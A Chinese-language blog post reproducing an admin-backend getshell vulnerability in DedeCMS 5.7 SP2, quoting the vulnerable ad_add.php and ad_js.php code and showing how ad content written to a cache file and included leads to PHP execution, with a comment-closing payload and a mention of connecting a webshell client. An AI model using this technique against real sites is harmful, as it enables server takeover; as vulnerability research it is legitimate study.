Dedecms 5.7 SP2後臺getshell

Dedecms 5.7 SP2後臺getshell

前言

最近也打算研究研究各大cms的漏洞了,正好看到一篇關於dedecms後臺getshell的文章,所以也自己動手復現一下,這樣以後遇到了也更容易上手。該漏洞涉及的版本是dedecms的最新版吧,下載地址:
http://www.dedecms.com/products/dedecms/downloads/

復現

版本:
本例測試版本
我這裏測試的是utf8版,這個版本應該不影響。
漏洞位置:模塊->廣告管理->新建廣告
漏洞位置
如下圖所示,我們在廣告內容處寫入惡意代碼
這裏寫圖片描述
用burp抓包看一下我們的廣告提交到哪個頁面進行處理去了,以及各個參數的情況。
抓包結果
可以看到被ad_add.php處理了,我們到源碼裏看一下:

$query = "
     INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
     VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
    ";
    $dsql->ExecuteNoneQuery($query);
    ShowMsg("成功增加一個廣告!","ad_main.php");

上面就是我截取的對我們有用的源碼片段,從中可以看到,我們的廣告信息被插入到了數據庫中。接下來就在數據庫中去看一下吧:
這裏寫圖片描述
惡意代碼寫進去了,就看看哪裏會調用我們這個”善意“的廣告了唄,點擊廣告欄的代碼就可以看到我們的廣告杯插入在了哪裏:
這裏寫圖片描述
這裏寫圖片描述
可以看到ad_js.php調用了我們的廣告,可以去看看源碼了:

<?php
/**
 *
 * 廣告JS調用方式
 *
 * @version        $Id: ad_js.php 1 20:30 2010年7月8日Z tianya $
 * @package        DedeCMS.Site
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");//根據aid獲得廣告
    $adbody = '';
    if($row['timeset']==0)//如果廣告是永不過期的就取出廣告內容,並賦值給$adbody
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    //安全過濾
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    //將廣告內容寫入一段註釋中,這裏的註釋就導致了漏洞
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    //將我們的廣告內容昔寫入$cacheFile的文件裏,這個文件在前面
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;//把剛剛構造的靜態html文件包含進來,這就導致html文件中的php代碼可執行

現在我們首先要滿足if條件判斷,由於是或運算,只要滿足一個就行了,這裏我們可以直接利用dedecms的變量註冊的特性(這裏不太清楚,大概是這個原因,不太熟悉),直接傳入一個nocache變量,直接滿足if判斷,這樣我們的惡意代碼就寫進了下面這個文件裏:
這裏寫圖片描述
我們來按照思路來操作下:
這裏寫圖片描述
訪問下$cacheFile,發現惡意果然寫入了:
這裏寫圖片描述
接下來就是訪問一下ad_js.php這個文件了,因爲ad_js.php最後包含了$cacheFile這個文件,導致我們的惡意代碼得以執行。現在我來寫入一個phpinfo()函數作爲測試:
這裏寫圖片描述
上面post傳送的數據爲

key = echo '-->';phpinfo();
echo '-->'是爲了閉合註釋,不然我們的代碼不能執行

當然也可以用菜刀連接了:
這裏寫圖片描述


這裏寫圖片描述
微信公衆號關注我

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章